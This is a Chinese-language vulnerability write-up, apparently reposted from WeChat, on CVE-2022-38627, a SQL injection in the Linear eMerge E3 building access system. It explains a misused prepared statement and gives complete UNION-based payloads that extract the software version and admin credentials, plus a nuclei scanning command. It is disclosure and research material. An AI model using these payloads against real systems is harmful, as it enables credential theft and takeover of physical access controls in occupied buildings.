CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入

介绍:

在这项研究中,我将向您展示我是如何找到这个关键的 0day 漏洞的,它让我可以控制整个企业大楼管理系统(门、摄像头、电梯等……)除此之外,我还可以获取员工数据,并添加新的有权访问企业大楼的权限等。

实际上,在这项研究中,你会看到类似黑客电影场景的实施,但是这是一个真实的场景。

Linear eMerge E3系列产品概要:

Linear eMerge E3 系列是楼宇管理系统中行业领先的产品之一,因为它是行业中使用最广泛的产品之一,用于控制

  • 学区和校园(K12 和高等教育)

  • 企业园区

  • 国外州/地方政府大楼(市政中心、市政厅、警察局、监狱等)

  • 公共设施

  • 交通(机场、地铁、巴士站)

  • 礼拜场所(教堂、大型教堂)

  • 医疗设施(医院、制药公司、生物实验室等)

  • 和更多

让我们开始静态分析:

我遇到了这个接口 /badging/badge_template_print.php 所以让我们看一下代码

正如您所看到的,开发人员通过“idt”参数获取用户输入,然后使用 prepare 语句将其传递给查询,用预处理机制防止 SQL 注入


CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入

但是等一下,这里的预处理有一个错误的实现方式,要知道出了什么问题,我们需要先了解什么是(预处理工作流程)

预处理如何工作:

预处理处理工作流程经过 7 个阶段


CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入为 SQL 查询处理准备语句阶段

只是它像这样将查询传递给数据库

$sth = $db->prepare(“SELECT * FROM “.dbtable.” where No = ?”);

因为问号被称为参数占位符

那么在准备好的语句下发生的是查询将通过 7 个阶段:

1- 解析阶段:解析语法错误和拼写错误检查以确保 SQL 查询的有效性

2- 语义检查阶段:数据库管理系统 (DBMS) 确定查询的有效性。指定的列和表是否存在?用户是否有权执行此查询?

3- 绑定阶段:数据库引擎检测占位符,并使用占位符编译查询。稍后将添加用户提供的数据(像这样的占位符替换阶段)。

$sth->bindValue(1, $id, PDO::PARAM_INT);

4- 查询优化 阶段: DBMS 选择执行查询的最佳算法。

5-缓存 阶段:最好的算法保存在缓存中,所以下次执行相同的查询时会跳过前四个阶段,直接跳转到占位符替换阶段

6- 占位符替换阶段:在此阶段,占位符被用户数据替换。但是,查询已经预编译(绑定),因此最终查询不会再次经过编译阶段。出于这个原因,用户提供的数据将始终被解释为一个简单的字符串,并且不能修改原始查询的逻辑。这使得查询将不受该数据的 SQL 注入漏洞的影响。

7- 执行阶段:

$sth->execute();

然后终于查询成功执行

这些是准备语句通过以防止 SQL 注入的阶段

那么让我们重新看看这里发生了什么


CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入

开发人员将来自用户的 $id 参数放入准备好的语句中,而不是像我上面描述的那样绑定值,所以如果用户输入参数是这样的

?id=1 UNION SELECT * FROM User

那么 $sth 变量值将是这样的

$db->prepare(“SELECT * FROM User where No=1 UNION SELECT * FROM User”)

因此准备好的语句会将我们的输入作为查询的一部分(不将其视为绑定值)并且用户输入将通过第一阶段的所有阶段传递,这意味着用户输入将被视为查询的一部分作为 SQL编译器会将其编译为查询的一部分,不会被视为绑定值,因为它是从第一阶段而不是第六阶段(占位符替换)传入查询的,这将导致 SQL注入成功


CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入

$xml 变量是通过使用参数“tpl”加载 XML 文件

第一个“if 语句”强制我们加载一个包含 <picture> 标记的 XML 文件,无论如何开发人员为此创建了这个 XML 文件“aa.xml”,所以我们需要做的只是将文件名放在“tpl”参数中。如tpl=aa.xml

我们需要将第二个“if 语句”设置为 false 来执行 else,它将在页面中打印“ImageFile”列以提取数据库内容

所以在我们的开发中,我们需要连接 ImageFile 列上的输出,因为这是提取数据库的可能方式

漏洞利用:

因为我已经访问了源代码和数据库,所以我知道 ImageFile 列是“User”表 39 列中的第 12 列

所以我们将使用基于联合的有效负载来利用它,因此我们需要连接第 12 列的输出并使用 NULL 值定义其他 38 列

/badging/badge_template_print.php?tpl=aa.xml&idt=1337 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,’ SWVersion:’||SWVersion,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from version

输出将是版本表中的软件版本,所以我将第 12 列的输出连接起来,这将使输出看起来像这样

SWVersion:<软件版本号>


CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入

如何提取admin密码

/badging/badge_template_print.php?tpl=aa.xml&idt=1337 union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,’ Admin-ID-is:’||id||’%20Admin-Password-is:’||password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from controller


CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入

获得管理员密码后,我可以使用它们登录以从 Web 仪表板控制整个企业大楼

自动化:

为了检测漏洞,我制作了这个核心模板来扫描你的SRC列表或你的企业资产

您可以在我的Github库中找到它:

https://github.com/omarhashem123/Security-Research/tree/main/CVE-2022-38627

┌──(omar㉿kali)-[~]
└─$ nuclei -t CVE-2022–38627.yaml -l subdomains.txt


CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入


原文始发于微信公众号(军机故阁):CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入

版权声明:admin 发表于 2023年1月2日 下午5:21。
转载请注明:CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入 | CTF导航

相关文章

暂无评论

暂无评论...